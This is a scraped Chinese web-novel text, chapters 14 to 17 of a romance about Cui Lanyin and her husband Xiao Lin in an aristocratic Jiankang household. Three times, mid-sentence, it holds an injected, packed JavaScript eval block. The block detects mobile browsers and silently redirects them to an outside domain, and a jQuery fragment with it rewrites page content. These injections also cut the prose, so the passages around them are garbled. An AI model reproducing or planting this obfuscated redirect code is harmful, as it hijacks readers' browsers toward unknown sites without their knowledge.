齐敏被齐蛮冷不防吐出来的血腥两字吓得一哆嗦,握紧自己的手腕连退几步,抖着唇瓣:“你骗人!” 齐蛮耸了耸肩膀,大步走开。 从没有吃过苦的公主花容失色,就连身后是什么人都没空去瞧,直到一道戏谑的声音落到头顶。 “建康之外确有百戏院,专收孤儿培养各种杂戏,训练严苛惩罚严厉,二殿下并没有骗你哦。” “多话!”齐敏美目怒瞪谢玧一眼,“用不着你提醒!” / 从王大娘子处回来,除袁四郎之外的郎君趾高气昂,不时对崔兰因和萧临发出几声怪笑。 崔兰因气得不轻,偏在萧家的地盘上还必须得容忍他们,否则就是阿家口中“失礼于客前,有失大家风度”。 “哼。”一个大脸吊眼的郎君故意用鼻子出气。 崔兰因“关心”道:“这位郎君鼻总不通气,要不要寻个大夫瞧瞧?” 吊眼郎君两只倒八眼高高翘起,“哼!你这悍妇!出手狠毒,口舌焉坏,萧家有你,名声焉能不坠地!” 萧临止住脚,所有人都不由随他停.下。 习惯长公子春风沐人的软脾气,只觉他落脚的时候步伐略重,有所不同。 新帝上位,偏向寒门,为笼络世族,只加以高位虚职,所以世族子弟多纵情声色,手无大权,便衬得这位兰陵萧氏的公子“鹤立鸡群”,卓尔不凡。 新帝多次称其为“公子独绝,神玉无二”,所以“长公子”一词在建康便特指于他,也意味着他在所有场合都有着绝对的话语权。 诸君静默,萧临才开口道:“我妻言辞有失。” 此一言,让那几位暗中戒备的郎君面露得色。 崔兰因唇瓣蠕动几下又紧紧抿住。 萧临又紧接道:“但尔等也非君子。” 几人的目光齐刷刷一变,就连想置身事外的袁四郎也敛起笑容,目光沉沉。 萧临不卑不亢,“今日之事固然是我萧家照顾不周,但辱骂萧家妇,亦是欺辱我萧家人,如此恕难招待,还请先回。” 声如鸣金,悦耳动听,温和的声音也有不容置喙的力量。 风引林啸,袖摆轻扬,长身而立的郎君挡在他的新妇身前。 “否则,诸位家族的颜面,恐怕只能丢于此地。” 14.闲记 几人咬牙切齿离开,崔兰因终于扬眉吐气,笑脸迎向萧临,“我还以为夫君会像阿家一样不分青红皂白呢!” 萧临等她话音尽散,才道:“你今日那支矢不是意外。” 不是反问而是肯定。 凭他的眼力,崔兰因投出第一支矢时就知道她水平不低,绝不可能犯粗浅小错。 崔兰因一愣,眸光闪闪,两瓣樱唇紧闭,不再说话了。 崔兰因才到建康两年,甚少出门,不太可能与人结怨,所以萧临问: “是因那几位郎君的话,你听了不高兴?” 这时崔兰因底气十足抬起下巴道:“难道不该生气吗?他们胡言乱语污你名声,我们反倒要向他们道歉,这是哪门子道理!” 萧临耐心等她把恶气吐完,才温声平和道:“与小人争口舌之快毫无意义,日后再遇到此类的事,你不可再挑事生非。” 挑事生非? 崔兰因胸口一堵,跟塞了一团打湿的棉花噎着她进气出气都极其不顺。 “我是为了你!”崔兰因不敢置信。 她不信萧临这么聪明,会不知她是因何出头。 固然她也有自己的小心思,但若非那些人在说萧临坏话,她不必如此出头。 萧临注视着她泛起水雾的乌眸,思索须臾,还是坚持把话说明白。 “我不需要你如此做,况且,你将事情弄复杂了。” 崔兰因定定看了长公子须臾,背过身,猛吸了口气,“好,你的事我日后再不管了!” 萧临这样无趣的人,她最讨厌了! 女郎气哼哼走远,谢玧方从后边走出来,一手搭上萧临的肩,把从司射官处拿回来的东西交给他。 “怎么还把人气跑了,之前是谁说‘好歹辛苦这么久,应该补偿’,现在又是什么情况?” 萧临道:“事出突然,并非我意,况且……” “况且?” 萧临思索片刻,道:“我说不清楚,不过袁四郎与崔兰因有何关系?” “这个我没听说过,你怎么问这个?” “没什么,只是觉得奇怪。” 谢玧知萧临的感觉很少有失误,但凡他觉察不对的人或事,必有缘由,所以他也没有多问,只道:“若你在意,我回头帮你查查看。” 萧临还望着崔兰因离开的方向,低声道:“多谢。” / 听到萧临驱赶袁四郎等人出府的消息时,王大娘子刚应付完世家夫人们,正倚在暖阁的凭几上小憩。 她沉思片刻,挥了挥袖,“罢了,袁家和潘侍中走得近,日后也未必站在我们这一边。” 前来报信的管事低头应是。 不愧是长公子,做事的分寸拿捏恰到好处,又或者说,他已经完全能够猜中大娘子心中所想,不触雷池。 世家的宴会多以奢华著称,萧家的冬日宴也不遑多让。 崔兰因望着流水一样端上来的珍馐美肴,也看见那些挑剔高傲的权贵只顾交谈,并不把这些美食放在眼里,任由它们冷掉、撤下。 或许这是他们习以为常的普通宴会,却是崔兰因没有见识过的奢靡与浪费。 她吃得没滋没味。 儿时流浪在外,无论多干冷难吃的东西她都能视若珍宝吞下肚,没想到如今坐在华殿明堂,面对龙心凤肝、八珍玉食竟然生出味同嚼蜡的荒唐感。 忽然婢女将一碟糖制樱桃脯放在她的矮几上,崔兰因举箸看对面,却不见其他人有。 她下意识往旁边看萧临,可只有空空的锦垫,萧临早忙于应酬去了。 婢女穿过热闹的人群,走到长公子身边屈膝一礼。 萧临颔首,婢女才离去。 旁有人问:“神玉,有事?” “无事。” 空杯重新满上酒,萧临端起酒杯,香醇温热的酒液涌入喉,他余光看见远处,端坐的女郎夹起一块樱桃脯放进嘴里。 除却午后投壶的小插曲,冬日宴上,崔兰因的表现大体让王大娘子满意。 就连崔母用心观察后,都不免欣慰对身边的崔芙宁道:“好在阿樱现在稳重许多,也不至于让我时常为她忧心。” 崔芙宁微笑点头。 “阿樱我不担心,但是你呢?” 崔芙宁眸光一震,随即被长睫掩住。 崔母不管是否戳了谁的痛处,直接道:“大殿下的身子怕是好不了,如今颓废闭宫快三年,圣人接回二殿下便是已经放弃了他,你该明白如今再与大殿下……也不会有结果,更何况二殿下对大殿下心怀怨怼。” 崔芙宁低声道:“阿娘说的,我都明白。” “你明白就好,开春后阿娘会为你找一户适合你的人家。” 崔芙宁低头望着面前的青瓷酒盏,浑圆的杯口好像盛着一轮明月。 眼泪沿着脸颊直坠而落。 水荡涟漪,月影被打了个稀碎,一尾红鱼潜入水底,逐渐宁静的水面倒映出一张清隽冷瘦的脸。 “是吗?” “是,萧家并未排斥二皇下,早知如此两年前……” 随从所言便是,早知两年前就不该顾及什么兄弟之情。 “不必多说,已犯下的错,无须后悔……”面色苍白的男子手转木轮企图离开月辉照亮的明处,但才滚动两下,轴轮被石子卡住,整个椅身一震,竟把他颠了下去,重重摔在地上。 “殿下!” 宴会结束后,崔兰因跟在王大娘子身后将最后一批客人送出府门,累得哈欠连天,只想回房睡个天昏地暗。 一路上婢女侍从皆向她行礼,她心不在焉回应。 “女郎,前边是长公子。”陈媪惊喜道。 “嗯?”崔兰因勉强抬起眼皮,果见台阶上立着位郎君。 崔兰因已打定主意不管萧临,故而一撇头,对陈媪哼声道:“我们走这边。” 陈媪“啊”了声,不敢置信崔兰因的决定。 但那固执的女郎身体力行,居然飞快爬上石台翻过木栏,另寻了个方向往所住玉阆院去,一副要和人分道扬镳的坚决。 陈媪是上了年纪的人,不说腿脚不灵便,即便生龙活虎也不能跟着崔兰因在人前做如此失礼的举止。 但崔兰因头也不回跑了,她无可奈何,只能硬着头皮从长公子那一侧的阶梯上去,匆匆与长公子行礼道别,再去追崔兰因的脚步。 萧临带着景澄两人静静目送着一主一仆走远。 “夫人这是怎么了?”景澄心直口快,“怎么对郎君视而不……啊!” “……”景澜狠狠跺了下他的脚背。 萧临不发一言,只是把手上的东西重新塞回袖袋里。 陈媪气喘吁吁追进屋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987186|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “娘子,长公子刚刚应该是专门在那处等您,您怎么能跑了呢?” “我累了想早点休息,不耐烦听他说这说哪的。”崔兰因坐在妆台前,把发簪、耳坠、金丝树状发冠一阵扒拉,甩到台上,满头青丝自由垂落在后背,“更何况我答应配合他的事,已经结束了!” 陈媪从铜镜里小心翼翼看着崔兰因的脸,把一箩筐话咽回肚子里,只问了句:“和长公子吵架了?” 崔兰因脸颊气鼓鼓地,正要一吐为快,可心中明白陈媪断不会同意,便道:“傅母你就别乱操心,我今日只是疲乏,不想再说话罢了。” 陈媪只好服侍她安寝。 虽然累,但崔兰因还是难以入眠,翻来覆去半个时辰后一骨碌坐起来,攥紧拳头对着空气揍了一通,把剩余的力气和没有发.泄的火气都消耗殆尽才直直往后倒下去,半晌后,她把被子扯到身上,蜷缩在被子下。 枕头下沿露出一册边角。 崔兰因把那本黄色软皮册子扯出来,就着帐子里昏暗半明的光线翻开,正好露出两行字,写于她到建康的第五个月。 “天授十年,九月三十。 我想回家。” / “温家?” “是,白孟城首富,不,应该说是淮南首富,据说温家乐善好施,颇受周边百姓爱戴。温家大爷把崔二娘从牙人手上买下带回家,据周围人说,温家大爷与夫人让二娘子成为温家小娘子玩伴,与他家的女郎同吃同住,后来……” 萧临看着欲言又止的谢玧,主动接话道:“因为盈江泛滥,淮南太守负责镇灾,温家被抄灭,而下令抄温家的正是袁氏。” “你都知道?”谢玧耸了下肩,“……也是,你毕竟是少司空,这些案宗最后也要汇聚到你手上。” “那崔兰因如何避开祸事?与袁家又有何关系?” 谢玧无奈,“温家除一倒夜香的老仆死里逃生,其他全死光了,你要我去黄泉问?明明你亲自去问崔二娘更容易吧?” 萧临把视线挪开,低声道:“冬日宴后,崔氏一直不与我说话。” “冬日宴?”谢玧吃惊道,“那都过去了半个月了!” “嗯。” 谢玧把手盖在额头上,“你别那般看我,即便我想帮你也是有心无力啊,你也知我还未成婚……” “那你与公主……” 谢玧猛然把手拍到桌上,眼弯唇抽,皮笑肉不笑道:“我想到了,其实也简单,你可以多观察多了解她的喜好,再投其所好!” 投其所好? 萧临缓缓呼出口气。 可他并不了解崔兰因,又该如何投其所好? 恰逢年关,朝廷上下都在为一年的繁忙工作收尾,萧临却难得有了几分清闲。 即便在青天白日,玉阆院偶尔也能见到他的身影。 婢女目光不敢直视,垂首答道:“回长公子,少夫人这几天除去大娘子、老夫人处请安外,最常待的地方便是长公子在后院的书房……据陈媪说,少夫人好像在写什么。” 萧临侧身望向被火红五爪枫掩映的花格窗扉。 成婚后,因崔兰因“占据”后院,那间书房他几乎没有涉足。 不过里边的摆设并未变动,唯有书案上多出了一套笔砚。 还有一本黄皮封面的册子,上面题“闲记”二字。 15.愿望 午后,崔兰因坐在书房,刚沾了墨准备落笔,陈媪就来敲门,掩不住欢喜说道:“女郎,长公子派人送东西来了!” 萧临? 都二十天没说话的人,这个时候给她送东西? 陈媪提着一雕花木提盒脚步轻快进来。 放下一盘饼,饼皮呈半透明,隐隐透出红黄色内陷。 “是玉髓饼,还是樱桃馅的!”陈媪像是撞见莫大的喜事,恨不得嚷得阖院知晓。 “长公子居然还知道女郎你喜欢的口味!” 崔兰因掰开饼,闻到熟悉的酸甜味,果然是樱桃馅的。不过与其说是樱桃馅让她惊讶之外,应该还是这特属于玉髓饼的饼皮。 建康有很多类型的饼店,也有很多饼里有樱桃馅,可这种名为玉髓的饼唯有青溪南岸,余氏饼铺有售,而且每日仅巳时正半个时辰开卖,若不是早到排队,根本买不到。 到建康这两年,崔兰因也就吃过三回。 崔兰因拿起一块还温热的玉髓饼,余光瞟见左手边,几日前她才写下的“玉髓饼”三字。 这么巧的事? 陈媪虽不清楚崔兰因与长公子之间出了何事,但也明显能察觉到小夫妻生分了,虽说他们之前也没有多亲.密,可现在连话都不说也太奇怪了。 眼下有这打破冰面的玉髓饼,她忍不住旧话重提:“女郎,礼尚往来,是不是该去见郎君了?” “不急,我自有想法。”崔兰因咬了口饼,提笔在册子上写下新的一行字。 陈媪回过神,无力道:“您只是在敷衍奴对吧?” 崔兰因朝她眨了眨眼。 与萧临“重修旧好”的事崔兰因不着急,她可不是“朝令夕改”之人,说了不理会就不理会,便是陈媪再心急火燎,她依然雷打不动在每一个午后,坐在树下的躺椅上看书。 头顶的银杏树开始落叶,时不时掉到她的书页上,崔兰因拂开金黄的扇叶,继续读着话本里缠缠绵绵的故事。 几个小婢女围着她,在忙针线活。 故事结束,婢女们纷纷停下手里的活计,露出感慨而复杂的神情。 一婢女叹道:“结局虽好,可若真遇上白世子这样执着于爱,为此使出种种手段的人,怪吓人的。” 另一婢女说:“白公子其实也很可怜,从小到大都没有真正属于过他的东西,小花能够接纳他的所有缺点,白公子也能迎合小花的喜好,怎么不算是天合之作呢!” 几婢都被说动,同时感慨:“真让人羡慕。” 崔兰因把书放在膝上,抬头望着头顶金灿灿的树冠,道:“是啊,真让人羡慕。” 婢女们羡慕那是因为还没得到天赐良缘,实不能理解崔兰因跟着羡慕是为哪般。 “夫人与长公子也是天合之作,何须羡慕他人?” “是啊,长公子对夫人是真的好,这不有新的话本,还是景澄送来的” 崔兰因瞟了眼被她弃置一旁的几本新书。 快别提,虽然是她写在小黄册子上的那几本,可都把“错撩门阀公子后被口口”、“病弱夫君一夜口口”等大胆放肆激.情的字眼当书封了,还搞删减版,那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992565|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没意思了! 也不知道是不是萧临专门找人给她抄了几本?…… 虽然但是,崔兰因总算搞清楚了一件事。 萧临定是看过她的小黄册,所以才能那么精准地送饼、送话本。 小黄册就放在书案上,她确实没有藏起来的意思。 一来不想让人看见的内容她都已经撕了去,二来她万万没有想过萧临会翻看。 而且,他为什么要这么做呢? 继话本之后的第五日,一只精神抖擞、羽毛鲜艳的鹦鹉被放置在靠墙的半月几上,婢女们好奇围着鸟,叽叽喳喳。 对此,陈媪丈二和尚摸不着头脑,忐忑问:“长公子为何送只鸟?” 难道是暗示崔兰因喧哗聒噪,有违萧家规矩? 她是好几次瞧见廊子那头、阴影里的长公子宽衣博带,静立不动看向院子。若不是大白天的,她都要以为是撞见什么想吃人的鬼,正在琢磨是那几个“吵闹”的婢女,还是那个笑得最起劲女的女郎。 陈媪狠狠打了个哆嗦。 连忙提醒崔兰因,她兴许已经被长公子盯上了! 但崔兰因浑然不觉害怕,用银勺伸给鹦鹉喂食,满不在乎道:“谁知道呢。” 谁知道萧临在想什么? 一个坚不可摧、循规蹈矩的正义君子,既不允许任何人破坏他的原则,又想和她这个“不守规矩”的破坏者维系表明的平和,扮演一对貌合神离的夫妻? 于是打算与她一直玩“心愿簿”的游戏? 若是如此,那她可要整个大的了! 16.我想 “夫人已收下。” 景澄说完,抬头看萧临,迟疑了下道:“不过,夫人并未给回话。 萧临“嗯”了声表示知晓。 接连送了三回东西,且都是崔兰因真真切切想要的,可对方全无反应。 思来想去,那只能是还未对他消气这一条能够说得通。 其实崔兰因的脾气甚好,待下人宽容和气,从不苛刻挑剔,只是精力充沛,喜爱玩闹。 即便萧家规矩森严,那些早被规矩教条调.教成模子里刻出来的小婢女们都在短短几个月时间里被她“哄”得团团转,成日围着她,变成一群叽叽喳喳的小鸟。 从前萧临最讨厌就是聒噪的声音,可现在却不知不觉会去追随那热闹之处。 看她与人相处,看她宽容大量。 她能轻易原谅婢女的失误,为何对他始终不消气? 是因为即便没有他,依然有人陪她玩,所以才不在意吗? 倘若没有这些婢女,也没有陈媪,玉阆院只有他,崔兰因是否就不会对他视而不见。 诸如此类的想法只在长公子脑海里匆匆闪过,又被沉入潭底。 / 临近新年,萧府又忙碌起来。 扫洗院落屋舍,替换旧帘残灯,修缮斑墙破瓦,一切有条不紊,等修到玉阆院的时候,木匠在前院的梁木上发现白蚁窝,必须重新替换,便不好再住人了。 萧临要搬回后院,得和崔兰因交代。 “前院修缮的这段时间里,我会歇在后院。” 两人许久没有说过话,萧临也很久没有这么近距离看崔兰因的脸。 她好像没有什么变化,若非要挑一样说,便是气色似是更好了,肤色均润,自然的血气晕在脸颊,像垂露海.棠娇艳欲滴。 出乎意料,崔兰因很轻松自然地答应,“好。” “长公子做主就行。” 崔兰因从没想过能够与萧临一直分房住下去,再说了,她拒绝有用吗? 没用! 所以还不如大方得体地接受。 更何况长公子都送了她几回东西,即便不说什么她也知道这是在表达自己的歉意。 她大方,不和他计较就是。 夫妇合寝之事定下,很快传遍玉阆院。 才过上一段畅快日子的萧家婢女们愁眉苦脸,唯有陈媪眉开眼笑,满脸喜气,仿佛众人尚在原地,独她已过上大年。 崔兰因很不想提醒陈媪。 倘若萧临真的愿意和她行夫妻之事,早在大婚那几日就应该抽空完成。 人再忙,总不至于连一刻钟的时间都腾不出来吧? 时间飞逝,不等人反应,夜晚已悄然而至。 服侍崔兰因沐浴梳洗完,婢女们噤若寒蝉地退了出去,连脸都没敢抬起。 受她们影响,崔兰因有点紧张。 密闭的屋舍、名正言顺的孤男寡女,倘若萧临真有那个心思,她肯定叫破喉咙也不会有人理睬…… 思及此,崔兰因的后背炸开密密麻麻的热意。 “站在那里做什么?不睡吗?” 正胡思乱想,冷不丁听到萧临低沉温和的嗓音,崔兰因耳根有些发痒,几乎是立刻就在手臂上浮出一层鸡皮疙瘩。 她扭头看向倚床看书的萧临,忍不住上下打量。 长公子一副准备入寝的模样,顺滑的黑发垂落,雪色的单衣襟缘绣满扇形叶纹,往右侧腋下合拢,手臂胸膛乃至腹腔上的薄衣微隆,印出肌肉的轮廓,不用剥开也知道是个皮薄肉多的饺子。 晚上特意吃了两碗饭的崔兰因,生生给看饿了。 不行不行。 崔兰因把口水咽下宛若无事,淡然地从萧临腿的上方爬进床内侧。 萧临轻轻翻过一页书,目光没偏离过一寸。 女郎快速爬过,唯留下一阵香。 不知是何种香膏味,甜味全拢在帐子里,萦绕在人鼻端,挥之不去,随着纳气收入自己腹腔。 萧临心无旁骛,只是又翻过一页书,定定看了片刻上下文接不上,他又翻了回去。 一阵悉悉索索,崔兰因钻进被子,安静闭上眼睛没片刻,又挺尸般坐起来。 这动静实难让人静心看书,萧临偏过头,问:“怎么了?” 崔兰因“唔”了声,欲言又止。 水润润的唇瓣被白贝般的齿咬住,唇肉浅浅陷下,似是一颗饱.满且汁水充沛的果子。 不合时宜的联想窜进脑海,萧临觉得口渴,喉结上下滚动,他把视线往抬起,直视崔兰因莹润的黑眼珠。 “是我翻书妨碍你睡觉了?” 翻书的动静轻若蚋,崔兰因摇头,“其实是我怕睡着不安分,会打扰夫君,不然我还是去别的地方睡吧!”她抱住石榴被欲走,不料萧临竟抬膝阻她去路。 “分屋尚有缘由,同房分榻会让人生疑,睡下吧,我无碍。” “……”崔兰因其实也舍不得这张大床,那边的榻没垫子,不够软。 她顺势躺回去,把被子盖好,睁着大眼睛无辜道:“好吧,这可你说的。” 到安寝时间,萧临放下书,熄灭大部分的灯,平静躺下。 闭上眼,他先闻一股幽香,随后“看见”崔兰因的唇,近在眼前。 萧临自幼被教摒弃杂念、修身养性。 虽今晚因为崔兰因在身边杂念有些多,不过是多花点时间让自己平静,并不是难事…… 不知道过了多久,总算有些朦胧睡意,萧临放任自己沉入梦乡。 可这一放松,他的身体就仿若坠入深渊,待落到实处时,腰腹上又是一沉,紧接着,能清晰感受到腰身两侧被人夹.紧。 他分明没有睁眼,可视野里烛火摇曳,昳丽秀美的女郎骑.坐在他身上,乌发如绸,脸色莹白,唇红眼亮,娇俏灵动如山野的精怪,脸带不谙世事的天真,问他:“夫君,为什么一直在看我的嘴?我的嘴上是沾了东西吗?” 那两瓣一张一合的红润唇瓣近在眼前,萧临怔怔然,用陌生的喑哑嗓音回道:“……没有。” “那就是喜欢看?为什么长公子会喜欢看我的唇呢?”天真的精怪变成惑人的魅魔,故作纯真的声音里夹着恶劣的勾.引。 崔兰因俯身下来,萧临往后避让,可他本就躺着,身后再无处可躲,只能任由那女郎嘴角噙着顽劣的笑寸寸逼近,咬着轻声,吹到他耳边。 “难道……是想对我做什么?” 呼吸缠绕着幽香,一同吸入肺腑,在腹腔缭绕了几周再被缓缓吐出,灼息喷.涌,他的心尖战栗。 女郎的眼睛明灿如星,像能看穿浓稠黑暗的沼泽,将潜伏在底的他剥皮拆骨,每一片皮囊,每一根骨头,都看得透彻。 后背浸出冷汗,指骨松开、蜷缩,不断反复,耳腔里血液疯狂涌动—— 她看出来了,她看出来了! 如同被曝露在白日下的鬼怪,四处逃窜却无处可藏! 时间一点一点过去,心底沸腾起热油,全身抽筋剥骨的疼。 “啪——” 胸口吃痛,萧临猛地睁开眼。 入眼是昏暗的帐子,光线从缝隙里晃到他的脸上,眼睛不适地微眯起。 原来是梦…… 混乱的心跳与呼吸渐渐平稳,萧临才定睛看清他胸口上摊着一只手臂。 准确来说,是一只赤.裸、匀称的小臂。 放眼望去,崔兰因不但手臂是赤.裸的、肩膀、后背都是。 哪怕在昏暗的床帐里,那身皮肤也如同月光照亮的雪地,白晃晃的光直钻入眼。 才平复的心跳与呼吸又乱了。 ……他怎么忘记了,崔兰因有奇怪的睡癖。 萧临坐起身,揉了揉发胀的鬓角,挑开床帐,外边只剩下小半截蜡烛在燃烧。 看来他大概睡了一个时辰左右。 暖色的光滑进来,他沿着光,一路看过去,崔兰因白皙的肌肤流下蜜般的光泽。 光是看,好像已经能尝到味道。 萧临闭上眼,捻起已经滑至崔兰因腰侧的绸被往上提。 指.尖若有似无触碰到崔兰因的背脊,沿着她凹陷脊柱沟缓缓徐徐,直到绸被盖至脖子,严严实实地遮住所有的春光。 睡着的女郎一无所知,外面的仆妇更不会打扰。 没有人会看见,没有人会知晓。 萧临慢慢把收回来的指抵在唇上,轻若触吻,有点甜有点香,原来是这样的味道。 烛花“噼啪”炸响,萧临猝然惊醒,刚温柔对待的指头被他的齿狠狠咬住,腥锈血味涌入口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996921|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻。 / 清晨,崔兰因是被一阵凉风冻醒的,她打了个抖,正想把头缩回去,突然想起个差点忘记的重要事,连忙睁开双眼。 果不其然就看见萧临正背对她坐在床沿,手挽起披散于后背的长发。 帐子挂起一边,凉风就是从那处呼呼吹到她的头上。 她最讨厌被风吹到脑袋了! 不过……帐子什么不重要了,崔兰因的眼睛不禁黏上萧临的后背。 萧临身上的单衣既滑又薄,随两臂展开,衣料绷出他肩膀背肌的轮廓,沟壑分明,年轻的身体充满悍劲,倘若使劲的时候只怕那些肌肉会如何生龙活虎地动起来。 崔兰因攥紧被子,悄默默把脸缩进一半,只露出一双水盈盈的眼。 脑门凉嗖嗖,心里热烘烘。 萧临本在专心束起头发,忽而就松手扭身回头。 两个人四只眼不偏不倚对上。 崔兰因登时吓得一个激灵,脱口就道:“我没偷看!”随即懊恼地掐住被子,闭上嘴巴。 “……”萧临静静看着她片刻,“昨夜睡得可好?” 崔兰因想了想,“……还不错?” 礼尚往来,她又问:“你呢?” 萧临不答她只道:“既然醒了就起身吧。” 崔兰因正要应声而起,随即摸到自己溜滑的身体,心道不好,居然还忘记这件事。 “……夫君先去吧,我再躺会。” 萧临的目光扫来,崔兰因几乎要以为他能看穿自己被子下已经不着片缕,好在他很快就收回视线,转身出去。 崔兰因松了口气,抬起被子瞧了眼,敬佩之心油然而生。 长公子是真正坐怀不乱的君子。 两人“相安无事”睡了半个月,陈媪变着法子给长公子送补汤,最后景澄景澜是挂着两条鼻血“哭”着求她高抬贵手,她才悻悻作罢。 后书房静悄悄的,房门许久没有被人推开。 一场雪来,一场雪歇。 日转月落间很快就到元日。 元日是建康城最重大的节日之一。 朝廷官员一大早都赶赴朝堂去参加一年一度的朝会,而萧家内也忙着驱邪避灾,为来年祈祷万事顺遂。 这日从主到仆皆穿上新的衣物,由幼至长拜贺。 崔兰因跟在王大娘子身侧,把萧家家族谱上的人都快见了个遍,累得眼皮直打架。 一想到这往后就是她的事,更是心里怵得慌,以至于回到屋就忍不住跟陈媪抱怨:“当初怎么没有想到门第高,事情也多啊!” 陈媪道:“满建康城的世家皆是如此,娘子可找不出哪一家既位高权重又家族简单。” 崔兰因嘀咕道:“世族如此枝繁叶茂,人口众多,皇家都远没有这般复杂……”语气里带着些怅然,好像自己年幼无知,一头栽进世家的深渊是件很值得后悔的事。 陈媪忍不住打断她的话,“娘子慎言。” 外面对崔兰因不利的传闻多来自皇室,来自二皇子,她这样的言论被人听了去,只怕会引出更多的猜想。 恰在此时,长公子走进房。 崔兰因刚被陈媪警告,不免担心萧临是否有听见她们先前谈话。 好在萧临面色无异,似乎是一点也没听见。 两人安寝,萧临照常在睡前看一会书。 崔兰因从被子里伸出头,出声唤他,“夫君。” 萧临身上还带着椒柏酒的味道,辛辣醇香。 刚饮过酒的脸上难得染了几分酒色,衬得那双琥珀色的眸子都朦胧了。 她趁机问:“元宵有夜游会,你去吗?“ “?” “你不知么?夜游秦淮河。” 崔兰因虽然没去过,但还是把听来的热闹大力描绘了一番,不过萧临对这样的活动兴趣不大,只道:“我应是没有空闲,但你若想去,可以带着仆妇侍卫出去,母亲若是不许,你再来找我说。” 崔兰因眼睛一亮,口里好话连篇道:“多谢夫君!夫君真是上天入地第一好!” 这样便算是好了吗? 他都未答应陪她去看灯会,只是允她去看灯会。 萧临心道,其实也未必抽不出空闲,可等他要开口时,崔兰因已经心满意足闭上眼。 17.艳鬼 初一到十五都是年节,圣人不临朝,府衙不办公,长公子便有更多的时间在府上,偶尔出门访友也会在霞光满天的傍晚回来。 前院的屋梁早已修好,但他也没有提起要搬回去的话,崔兰因就当没这回事。 毕竟床上有他这个大活人在,阳气足,崔兰因连鬼都不怕了! 建康接连下了好几天大雪,崔兰因带着婢女们在院子里堆雪人。 初雪松散如盐不好捏拢,后面的雪就实许多,稍稍用掌心捂下就能团在一起。 一群十七、八的年轻娘子穿着厚实的冬装,冻得脸颊鼻尖泛红,却依然在雪地里忙活,一会比谁的雪球圆一会看谁捏得大。 由此,陈媪格外思念前段时间在书房埋头书写的文静女郎,试图提醒崔兰因书房还没收拾云云,可崔兰因早把寄愤纸墨的事抛到九霄云外。 陈媪只能吩咐人熬煮了姜汤放在炭盆里温着,让她们玩够了能及时驱寒。 要不然一整个院子的娘子都风寒了,活谁来干? 崔兰因突发奇想,打算把院子里的人都捏个雪人,因而卖力地搓了一上午。 沿着回廊排上一圈小雪人,足有十九个。 各带特征,代表着玉阆院的每一个人。 比如那个头上扎着把小金梳的代表崔兰因,脑袋后垂着两根小布条的是萧临,还有拿着小木棍充当戒尺的是陈媪,咧嘴哈哈笑的是景澄,顶着死鱼眼的是景澜…… 午后,景澄弯着腰挨个辨认,看见景澜那个雪人就捂着肚子哈哈大笑,不吝夸奖:“像!太像了!” 景澜用鼻孔哼出声,盘起手臂对他翻了个大大的白眼。 景澄又献宝一样把代表萧临的那只雪人从廊椅上抄到手心,捧起来大力夸赞道:“郎君您看!夫人捏的你这个雪人比别的都要高壮大只,可见在夫人心里,郎君是咱们院里最厉害那个!夫人真有眼光!” 得亏现在崔兰因被王大娘子叫过去,不然都要被景澄这夸张的语气弄害羞了。 萧临接过雪人,放在手上端详。 这雪人何止是大,还更圆滚一些,可见是在崔兰因手心团了不少时间才能塑出这么流畅的身躯。 手心一片冰凉,胸腔里却温暖热烫,好像被女郎用手一遍遍揉.捏的不是眼前的这个雪人,而是自己。 良久后,他小心翼翼把雪人放下,但没控制好距离,落下时正好与崔兰因的雪人靠得有些近。 雪这种东西易融也易结,用不了多久,两个雪人就会被冻在一起,萧临想要把它们分开点,但手指鬼使神差收了回来。 夜黑,崔兰因躺在被窝里问他,“看见廊下的雪人了吗?” 萧临翻过一页书,道:“嗯。” “好看吗?我捏的!” 说罢就眼睛亮晶晶瞅着他,脸蛋上的肉蓄势待发,预备扬起笑容。 萧临发现崔兰因很喜欢讨表扬,特别是玩闹的事,若是她能把这个积极心放在诗书礼乐上,何愁母亲不能把她看顺眼。 他不好助长她玩闹的心,也不能违心说那些雪人不好看,就道:“没仔细看。” 这个答案出乎意料。 崔兰因差点气得坐起来,支棱着上半身,“我忙了一个早上!” 但随即一想长公子这样无趣的人可能不会喜欢好玩的东西,所以崔兰因就忍气吞声倒回去,掐着被子道:“还好我没捏你,不然媚眼抛给瞎子看,哼!” 萧临握书的手指紧了下。 没有他? 那现在和崔兰因雪人冻在一起的雪人是谁? 崔兰因只是在说气话吧? 不过萧临没有开口相问,而崔兰因也再没有向他提起雪人的事。 但萧临每日都留意,两个黏在一起的雪人也没有遭到任何暴.力拆分,依然紧挨着伫立在廊椅上,迎接日出送别日落,直到某一日陡然升温,融化在一起。 / 十五上元节,意味着轻松的年节走到尾声。 